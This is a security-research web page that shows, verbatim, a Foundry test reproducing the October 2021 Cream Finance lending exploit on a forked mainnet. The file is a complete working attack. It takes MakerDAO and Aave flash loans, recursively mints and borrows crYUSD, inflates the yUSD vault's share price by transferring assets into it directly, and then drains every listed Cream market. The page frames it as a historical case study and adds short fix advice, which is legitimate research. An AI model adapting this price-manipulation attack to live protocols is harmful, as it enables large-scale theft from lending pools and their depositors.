Skip to content
THREATWIRE

Public reproduction file

src/test/2021-10/Cream_2_exp.sol

Public reproduction file for the historical Cream Finance (second incident) incident (2021-10-27). Shown verbatim because the incident is older than 30 days and not known to be still exploitable.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2021-10/Cream_2_exp.sol349 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analysis
8// https://medium.com/immunefi/hack-analysis-cream-finance-oct-2021-fc222d913fc5
9// @TX
10// https://etherscan.io/tx/0x0fe2542079644e107cbf13690eb9c2c65963ccb79089ff96bfaf8dced2331c92
11// @Credit
12// https://github.com/Hephyrius/Immuni-4-CREAM/tree/main/contracts/CREAM
14// @Summary
15// FirstContarct: MakerDao FlashLoan 500M DAI -> Convert to yUSD -> yUSD mint crYUSD in CreamFinance,crYUSD as collateral, velue: $500M -> secondContract: ->Aave FlashLoan 524_000 ETH -> send 6000 ETH to FirstContarct, other mint crETH in CreamFinance, crETH as collateral, value: $2B ->twice borrow about $500M yUSD to mint crYUSD, send to FirstContarct,now the FirstContarct collateral value: $1.5B -> borrow 500M yUSD send to FirstContarct -> FirstContarct: withdraw yUSD to 4-Curve token double the price crYUSD collateral ->now the FirstContarct collateral value: $3B, borrow fund -> $2B repay Aave FlashLoan, $500M repay MakerDao FlashLoan -> theoretically, there a 500M profit margin
17interface YDAI is IERC20 {}
19interface YVaultPeakProxy {
20 function redeemInYusd(uint256 dusdAmout, uint256 minOut) external;
23interface IYearnVault {
24 function deposit(
25 uint256 amount
26 ) external;
27 function withdraw(
28 uint256 amount
29 ) external;
30 function pricePerShare() external view returns (uint256);
31 function totalAssets() external view returns (uint256);
34interface ICurveDepositor {
35 function add_liquidity(uint256[4] memory amounts, uint256 min_mint_amount) external;
36 function remove_liquidity_imbalance(uint256[4] memory amounts, uint256 max_burn_amount) external;
37 function remove_liquidity_one_coin(
38 uint256 _token_amount,
39 int128 i,
40 uint256 min_uamount,
41 bool donate_dust
42 ) external;
45interface ICether {
46 function borrow(
47 uint256 borrowAmount
48 ) external returns (uint256);
49 function mint() external payable;
50 function underlying() external view returns (address);
53interface ICrToken {
54 function borrow(
55 uint256 borrowAmount
56 ) external;
57 function mint(
58 uint256 mintAmount
59 ) external;
60 function underlying() external view returns (address);
61 function getCash() external view returns (uint256);
64interface IComptroller {
65 function enterMarkets(
66 address[] memory cTokens
67 ) external;
68 // function getAccountLiquidity() external view returns(address[] memory markets);
71contract SecondContract {
72 address contractAddress;
73 IComptroller comptroller = IComptroller(0x3d5BC3c8d13dcB8bF317092d84783c2697AE9258);
74 IAaveFlashloan AaveFlash = IAaveFlashloan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
75 address constant yUSD = 0x4B5BfD52124784745c1071dcB244C6688d2533d3;
76 address constant crYUSD = 0x4BAa77013ccD6705ab0522853cB0E9d453579Dd4;
77 address constant aWETH = 0x030bA81f1c18d280636F32af80b9AAd02Cf0854e;
78 IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
79 address constant crETH = 0xD06527D5e56A3495252A528C4987003b712860eE;
81 function justDoIt(
82 address paramAddress
83 ) public {
84 contractAddress = paramAddress;
85 address[] memory assets = new address[](1);
86 assets[0] = address(WETH);
87 uint256[] memory amounts = new uint256[](1);
88 amounts[0] = 524_102 * 1e18;
89 uint256[] memory modes = new uint256[](1);
90 modes[0] = 0;
91 console.log("[7. Aave FlashLoan 524_102 WETH]");
92 AaveFlash.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);
93 }
95 function executeOperation(
96 address[] calldata assets,
97 uint256[] calldata amounts,
98 uint256[] calldata premiums,
99 address initiator,
100 bytes calldata params
101 ) external payable returns (bool) {
102 // console.log("The WETH amount: ", WETH.balanceOf(address(this)) / 1e18);
103 console.log("[8. Transfer 6000 WETH to first contract]");
104 WETH.transfer(contractAddress, 6000 * 1e18);
106 console.log("[9. Convert WETH->ETH->crETH, the second contract collateral in Cream.Finance]");
107 address(WETH).call(abi.encodeWithSignature("withdraw(uint256)", 518_102 * 1e18));
108 ICether(crETH).mint{value: 518_102 ether}();
110 console.log("[10. Cream.Finance crETH enterMarket]");
111 address[] memory markets = new address[](1);
112 markets[0] = crETH;
113 comptroller.enterMarkets(markets);
115 console.log("------------Recursion------------");
116 console.log(
117 "[11. repeatedly borrow yUSD to mint crUSD, send to first contract, add the first contract conllateral"
118 );
119 IERC20(yUSD).approve(crYUSD, type(uint256).max);
120 ICrToken(crYUSD).borrow(IERC20(yUSD).balanceOf(crYUSD));
121 ICrToken(crYUSD).mint(IERC20(yUSD).balanceOf(address(this)));
122 IERC20(crYUSD).transfer(contractAddress, IERC20(crYUSD).balanceOf(address(this)));
123 ICrToken(crYUSD).borrow(IERC20(yUSD).balanceOf(crYUSD));
124 ICrToken(crYUSD).mint(IERC20(yUSD).balanceOf(address(this)));
125 IERC20(crYUSD).transfer(contractAddress, IERC20(crYUSD).balanceOf(address(this)));
126 console.log("The crYUSD amount in first contract: ", IERC20(crYUSD).balanceOf(contractAddress) / 1e8);
128 console.log("[12. borrow yUSD and send to first contract]");
129 ICrToken(crYUSD).borrow(IERC20(yUSD).balanceOf(crYUSD));
130 IERC20(yUSD).transfer(contractAddress, IERC20(yUSD).balanceOf(address(this)));
132 console.log("------------Jump first contract------------");
133 contractAddress.call(abi.encodeWithSignature("doIt()"));
135 console.log("[15. Repay Aave FlashLoan]");
136 WETH.approve(address(AaveFlash), type(uint256).max);
137 return true;
138 }
140 receive() external payable {}
143contract ContractTest is Test {
144 IDaiFlashloan DaiFlash = IDaiFlashloan(0x1EB4CF3A948E7D72A198fe073cCb8C7a948cD853);
145 ICurvePool curvePool = ICurvePool(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);
146 IComptroller comptroller = IComptroller(0x3d5BC3c8d13dcB8bF317092d84783c2697AE9258);
147 ICurveDepositor curveDepositors = ICurveDepositor(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51);
148 YDAI yDAI = YDAI(0x16de59092dAE5CcF4A1E6439D611fd0653f0Bd01);
149 Uni_Router_V3 Router = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);
150 IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
151 IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
152 IERC20 DUSD = IERC20(0x5BC25f649fc4e26069dDF4cF4010F9f706c23831);
153 IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
154 IERC20 yDAI_yUSDC_yUSDT_yTUSD = IERC20(0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8);
155 address constant curveDepositor = 0xbBC81d23Ea2c3ec7e56D39296F0cbB648873a5d3;
156 address constant yUSD = 0x4B5BfD52124784745c1071dcB244C6688d2533d3;
157 address constant crYUSD = 0x4BAa77013ccD6705ab0522853cB0E9d453579Dd4;
158 address constant DUSDPOOL = 0x8038C01A0390a8c547446a0b2c18fc9aEFEcc10c;
159 address constant PeakProxy = 0xA89BD606d5DadDa60242E8DEDeebC95c41aD8986;
160 address constant crDAI = 0x92B767185fB3B04F881e3aC8e5B0662a027A1D9f;
161 address constant crUSDT = 0x797AAB1ce7c01eB727ab980762bA88e7133d2157;
162 address constant crUSDC = 0x44fbeBd2F576670a6C33f6Fc0B00aA8c5753b322;
163 address constant crETH = 0xD06527D5e56A3495252A528C4987003b712860eE;
164 address constant crCRETH2 = 0xfd609a03B393F1A1cFcAcEdaBf068CAD09a924E2;
165 address constant crFEI = 0x8C3B7a4320ba70f8239F83770c4015B5bc4e6F91;
166 address constant crFTT = 0x10FDBD1e48eE2fD9336a482D746138AE19e649Db;
167 address constant crPERP = 0x299e254A8a165bBeB76D9D69305013329Eea3a3B;
168 address constant crRUNE = 0x8379BAA817c5c5aB929b03ee8E3c48e45018Ae41;
169 address constant crDPI = 0x2A537Fa9FFaea8C1A41D3C2B68a9cb791529366D;
170 address constant crUNI = 0xe89a6D0509faF730BD707bf868d9A2A744a363C7;
171 address constant crGNO = 0x523EFFC8bFEfC2948211A05A905F761CBA5E8e9E;
172 address constant crSTETH = 0x1F9b4756B008106C806c7E64322d7eD3B72cB284;
173 address constant crXSUSHI = 0x1F9b4756B008106C806c7E64322d7eD3B72cB284;
174 address constant crYGG = 0x4112a717edD051F77d834A6703a1eF5e3d73387F;
175 address secondContract;
177 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
179 function setUp() public {
180 cheats.createSelectFork("mainnet", 13_499_797);
181 }
183 function testExploit() public {
184 SecondContract exploitContract = new SecondContract();
185 secondContract = address(exploitContract);
186 console.log("[1. Beigin]");
187 console.log("------------Acquire Capital------------");
188 console.log("[2. MakerDao FlashLoan 500_000_000 DAI]");
189 DaiFlash.flashLoan(address(this), address(DAI), 500_000_000 * 1e18, "");
191 console.log("[17. End]");
192 console.log("------------Proift------------");
193 console.log("Attacker WETH balance after exploit: ", WETH.balanceOf(address(this)) / 1e18);
194 console.log("Attacker crDAI balance after exploit: ", withdrawUnderlying(crDAI) / 1e18);
195 console.log("Attacker crUSDT balance after exploit: ", withdrawUnderlying(crUSDT) / 1e6);
196 console.log("Attacker crUSDC balance after exploit: ", withdrawUnderlying(crUSDC) / 1e6);
197 console.log("Attacker crETH balance after exploit: ", withdrawUnderlying(crCRETH2) / 1e18);
198 console.log("Attacker crCRETH2 balance after exploit: ", withdrawUnderlying(crDAI) / 1e18);
199 console.log("Attacker crFEI balance after exploit: ", withdrawUnderlying(crFEI) / 1e18);
200 console.log("Attacker crFTT balance after exploit: ", withdrawUnderlying(crFTT) / 1e18);
201 console.log("Attacker crPERP balance after exploit: ", withdrawUnderlying(crPERP) / 1e18);
202 console.log("Attacker crRUNE balance after exploit: ", withdrawUnderlying(crRUNE) / 1e18);
203 console.log("Attacker crDPI balance after exploit: ", withdrawUnderlying(crDPI) / 1e18);
204 console.log("Attacker crUNI balance after exploit: ", withdrawUnderlying(crUNI) / 1e18);
205 console.log("Attacker crGNO balance after exploit: ", withdrawUnderlying(crGNO) / 1e18);
206 console.log("Attacker crXSUSHI balance after exploit: ", withdrawUnderlying(crXSUSHI) / 1e18);
207 console.log("Attacker crSTETH balance after exploit: ", withdrawUnderlying(crSTETH) / 1e18);
208 console.log("Attacker crYGG balance after exploit: ", withdrawUnderlying(crYGG) / 1e18);
209 }
211 function onFlashLoan(
212 address initiator,
213 address token,
214 uint256 amount,
215 uint256 fee,
216 bytes calldata data
217 ) external returns (bytes32) {
218 // console.log("The DAI amount in contract: ", DAI.balanceOf(address(this)) / 1e18);
220 console.log("[3. deposit DAI to YearnVault get yDAI]");
221 DAI.approve(curveDepositor, type(uint256).max);
222 // Impersonate the attacker's function call revert the unknown error, instead of another trace
223 // yDAI.deposit(DAI.balanceOf(address(this)));
224 // console.log("The yDAI amount in contract: ", yDAI.balanceOf(address(this)) / 1e18);
226 // console.log("[3. deposit yDAI to Yearn 4-Curve Pool get yUSD]");
227 // yDAI.approve(address(curveDepositor), type(uint).max);
228 uint256[4] memory amounts = [DAI.balanceOf(address(this)), 0, 0, 0];
229 ICurveDepositor(curveDepositor).add_liquidity(amounts, 1);
230 // console.log("The yDAI_yUSDC_yUSDT_yTUSD Token amount: ", yDAI_yUSDC_yUSDT_yTUSD.balanceOf(address(this)) / 1e18);
232 console.log("[4. deposit yDAI_yUSDC_yUSDT_yTUSD to get yUSD]");
233 yDAI_yUSDC_yUSDT_yTUSD.approve(yUSD, type(uint256).max);
234 IYearnVault(yUSD).deposit(yDAI_yUSDC_yUSDT_yTUSD.balanceOf(address(this)));
235 // console.log("The yUSD amount: ", IERC20(yUSD).balanceOf(address(this)) / 1e18);
237 console.log("[5. use yUSD to mint crYUSD, the first contract collateral in Cream.Finance]");
238 IERC20(yUSD).approve(crYUSD, type(uint256).max);
239 ICrToken(crYUSD).mint(IERC20(yUSD).balanceOf(address(this)));
240 console.log("The crYUSD amount in first contract: ", IERC20(crYUSD).balanceOf(address(this)) / 1e8);
242 console.log("[6. Cream.Finance crYUSD enterMarket]");
243 address[] memory markets = new address[](1);
244 markets[0] = crYUSD;
245 comptroller.enterMarkets(markets);
246 console.log("------------Jump second Contract------------");
247 secondContract.call(abi.encodeWithSignature("justDoIt(address)", address(this)));
249 console.log("[16. Repay DAI FlashLoan]");
250 amounts[0] = 445_331_495_265_152_128_661_273_376;
251 curveDepositors.remove_liquidity_imbalance(amounts, yDAI_yUSDC_yUSDT_yTUSD.balanceOf(address(this)));
252 yDAI.withdraw(yDAI.balanceOf(address(this)));
253 USDCToDAI();
254 // console.log("The DAI amount: ", DAI.balanceOf(address(this)) /1e18);
255 DAI.approve(address(DaiFlash), type(uint256).max);
256 return keccak256("ERC3156FlashBorrower.onFlashLoan");
257 }
259 function doIt() external {
260 console.log("[12. WETH->USDC->DUSD->YUSD]");
261 WETHToUSDC();
262 USDC.approve(DUSDPOOL, type(uint256).max);
263 IcurveYSwap(DUSDPOOL).exchange_underlying(2, 0, 3_726_501_383_126, 0);
264 DUSD.approve(PeakProxy, type(uint256).max);
265 YVaultPeakProxy(PeakProxy).redeemInYusd(DUSD.balanceOf(address(this)), 0);
266 console.log("The yUSD amount in first contract: ", IERC20(yUSD).balanceOf(address(this)) / 1e18);
268 console.log("------------Inflation------------");
269 console.log("[13. Pump the pricePerShare]");
270 console.log("pricepershare start : ", IYearnVault(yUSD).pricePerShare() / 1e18);
271 IYearnVault(yUSD).withdraw(IERC20(yUSD).balanceOf(address(this)));
272 // withdraw yUSD to yDAI_yUSDC_yUSDT_yTUSD
273 yDAI_yUSDC_yUSDT_yTUSD.transfer(yUSD, IYearnVault(yUSD).totalAssets());
274 console.log("pricepershare end : ", IYearnVault(yUSD).pricePerShare() / 1e18);
276 console.log("------------HeistAndRepay------------");
277 console.log("[14. borrow token from Cream.Finance]");
278 borrowAll();
279 address(WETH).call{value: 523_208 ether}("");
280 WETH.transfer(secondContract, 524_574 * 1e18);
281 }
283 function WETHToUSDC() internal {
284 WETH.approve(address(Router), type(uint256).max);
285 Uni_Router_V3.ExactOutputSingleParams memory _Params = Uni_Router_V3.ExactOutputSingleParams({
286 tokenIn: address(WETH),
287 tokenOut: address(USDC),
288 fee: 3000,
289 recipient: address(this),
290 deadline: block.timestamp,
291 amountOut: 7_500_000 * 1e6,
292 amountInMaximum: 5000 * 1e18,
293 sqrtPriceLimitX96: 0
294 });
295 Router.exactOutputSingle(_Params);
296 }
298 function USDCToDAI() internal {
299 USDC.approve(address(Router), type(uint256).max);
300 Uni_Router_V3.ExactOutputSingleParams memory _Params = Uni_Router_V3.ExactOutputSingleParams({
301 tokenIn: address(USDC),
302 tokenOut: address(DAI),
303 fee: 500,
304 recipient: address(this),
305 deadline: block.timestamp,
306 amountOut: 6_356_555 * 1e18,
307 amountInMaximum: 6_451_883 * 1e18,
308 sqrtPriceLimitX96: 0
309 });
310 Router.exactOutputSingle(_Params);
311 }
313 function borrowAll() internal {
314 borrowAllETH();
315 borrowTokens(crDAI);
316 borrowTokens(crUSDC);
317 borrowTokens(crUSDT);
318 borrowTokens(crFEI);
319 borrowTokens(crCRETH2);
320 borrowTokens(crFTT);
321 borrowTokens(crPERP);
322 borrowTokens(crRUNE);
323 borrowTokens(crDPI);
324 borrowTokens(crUNI);
325 borrowTokens(crGNO);
326 borrowTokens(crXSUSHI);
327 borrowTokens(crSTETH);
328 borrowTokens(crYGG);
329 }
331 function borrowAllETH() internal {
332 ICether(crETH).borrow(523_208 * 1e18);
333 }
335 function borrowTokens(
336 address token
337 ) internal {
338 ICrToken(token).borrow(ICrToken(token).getCash());
339 }
341 function withdrawUnderlying(
342 address token
343 ) public returns (uint256 amount) {
344 address underlying = ICrToken(token).underlying();
345 amount = IERC20(underlying).balanceOf(address(this));
346 }
348 receive() external payable {}

Analysis

What this file is

A public Foundry test from the DeFiHackLabs dataset for the Cream Finance (second incident) incident dated 2021-10-27. It reproduces the historical attack against archived chain state. The incident is years old and the affected systems were patched or shut down; we show the file verbatim under our code disclosure policy.

How to read it

The test sets up a fork, labels the relevant addresses, then walks through the steps the attacker used. Treat it as a historical case study for defenders, not as something to run against live contracts.

Fixes and defensive tests

  • Review privileged entry points
  • Limit what external coin can be pulled without intent checks
  • Pause or migrate when a class of bug is public

Related files

3 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

File record

Name
Cream Finance (second incident)
Path
src/test/2021-10/Cream_2_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
f60576343c4094694703672477fdfec98c1ded8b
Language
Solidity
Size
350 lines
Date
2021-10-27
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2021-10/Cream_2_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f60576343c4094694703672477fdfec98c1ded8b, retrieved 2026-10-19. Verbatim file content read with git show at the pinned commit; SPDX header preserved; stored locally for the on-site reader. ThreatWire has never executed this file. Reference: source file at the pinned commit.